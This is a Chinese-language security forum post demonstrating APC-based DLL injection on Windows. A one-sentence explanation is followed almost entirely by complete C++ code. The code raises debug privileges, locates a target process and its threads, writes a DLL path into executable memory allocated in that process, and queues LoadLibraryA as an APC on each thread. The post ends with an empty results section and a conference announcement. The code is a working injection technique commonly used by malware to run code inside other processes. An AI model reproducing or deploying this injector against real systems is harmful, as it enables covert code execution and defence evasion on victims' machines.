APC注入技术并不新鲜, 原理是利用对方线程每次被唤醒时都会遍历APC队列指向用户对应的回调函数原理执行我们的代码
目标程序代码
#include <iostream> #include <Windows.h> int main() { while (1) SleepEx(3000, 1); system("pause"); }
注入代码
#include <Windows.h> #include <Tlhelp32.h> #include <iostream> // 用于保存线程 TID 的数组 ULONG ThreadIds[100] = { 0 }; // 提权 void EnableDebugPriv() { HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { std::cout << "提权失败。" << std::endl; return; } if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) { CloseHandle(hToken); std::cout << "提权失败。" << std::endl; return; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) { std::cout << "提权失败。" << std::endl; CloseHandle(hToken); } else std::cout << "提权成功!" << std::endl; } // 根据进程名称获取 PID // ProcessName 进程名称 ULONG GetProcessIdByProcessName(char * ProcessName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hSnapshot) { return 0; } PROCESSENTRY32 pi; pi.dwSize = sizeof(PROCESSENTRY32); //第一次使用必须初始化成员 BOOL bRet = Process32First(hSnapshot, &pi); while (bRet) { char Name[MAX_PATH] = { 0 }; sprintf(Name, "%ls", pi.szExeFile); if (strcmp(Name, ProcessName) == 0) { return pi.th32ProcessID; // 返回PID } bRet = Process32Next(hSnapshot, &pi); } return 0; } // 根据 PID 获取获取所有相应的线程 TID // ProcessId 进程 PID // pThreadId 数组用于保存线程TID // ThreadIdLen 用于返回数组实际长度 BOOL GetAllThreadIdByProcessId(ULONG ProcessId, ULONG * pThreadId, ULONG * ThreadIdLen) { HANDLE hThreadSnap = INVALID_HANDLE_VALUE; THREADENTRY32 te32 = { sizeof(THREADENTRY32) }; ULONG Number = 0; // 把所有线程拍一个快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (hThreadSnap == INVALID_HANDLE_VALUE) return(FALSE); // 在使用 Thread32First 前初始化 THREADENTRY32 的结构大小. te32.dwSize = sizeof(THREADENTRY32); // 现在获取系统线程列表, 并显示与指定进程相关的每个线程的信息 do { // 比对是否为该进程线程 if (te32.th32OwnerProcessID == ProcessId) { // 是的话保存到线程数组中 pThreadId[Number] = te32.th32ThreadID; Number++; } } while (Thread32Next(hThreadSnap, &te32)); if (!Number) return FALSE; // 修改线程数量 *ThreadIdLen = Number; return TRUE; } // APC注入 // ProcessName 要注入的进程名称 // DllName 要注入的DLL名称 BOOL ApcInjectDll(char * ProcessName, char * DllName) { ULONG ProcessId = 0; ULONG IsFlag = TRUE; HANDLE hProcess = NULL, hThread = NULL; ULONG DllNameLen = strlen(DllName) + 1; PVOID pBaseAddr = NULL; ULONG dwRet = 0; PVOID pLoadLibraryA = NULL; ULONG ThreadIdsLen = 0; do { // 根据进程名称获取 PID ProcessId = GetProcessIdByProcessName(ProcessName); if (0 >= ProcessId) { printf("ProcessId Error: %d\n", ProcessId); IsFlag = FALSE; break; } // 根据 PID 获取获取所有相应的线程 TID IsFlag = GetAllThreadIdByProcessId(ProcessId, ThreadIds, &ThreadIdsLen); if (!IsFlag) { printf("GetAllThreadIdByProcessId Error: %x\n", GetLastError()); IsFlag = FALSE; break; } // 打开注入线程 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); if (hProcess == NULL) { printf("OpenProcess Error: %x\n", GetLastError()); IsFlag = FALSE; break; } // 在注入的进程中申请空间 pBaseAddr = VirtualAllocEx(hProcess, NULL, DllNameLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pBaseAddr == NULL) { printf("VirtualAllocEx Error: %x\n", GetLastError()); IsFlag = FALSE; break; } // 向申请的空间中写入 Dll 路径数据 WriteProcessMemory(hProcess, pBaseAddr, DllName, DllNameLen, &dwRet); if (DllNameLen != dwRet) { printf("WriteProcessMemory Error: %x\n", GetLastError()); IsFlag = FALSE; break; } // 获取 LoadLibraryA 地址 pLoadLibraryA = GetProcAddress(GetModuleHandleA((char *)"kernel32.dll"), "LoadLibraryA"); if (pLoadLibraryA == NULL) { printf("GetProcAddress Error: %x\n", GetLastError()); IsFlag = FALSE; break; } // 遍历线程, 插入APC for (ULONG i = 0; i < ThreadIdsLen; i++) { // 打开线程 hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadIds[i]); if (hThread != NULL) { // 插入 APC if (!QueueUserAPC((PAPCFUNC)pLoadLibraryA, hThread, (ULONG_PTR)pBaseAddr)) { printf("QueueUserAPC Error: %x\n", GetLastError()); } // 关闭线程句柄 CloseHandle(hThread); hThread = NULL; printf("插入 APC 成功!\n"); } } } while (FALSE); CloseHandle(hProcess); return IsFlag; } int main() { // 提权 EnableDebugPriv(); // 注入我们想要执行的DLL ApcInjectDll((char *)"TestExe.exe", (char *)"./InjectDll.dll"); system("pause"); return 0; }
结果如下:
2020安全开发者峰会(2020 SDC)议题征集 中国.北京 7月!
最后于 1天前 被灵幻空间编辑 ,原因: 界面编写错误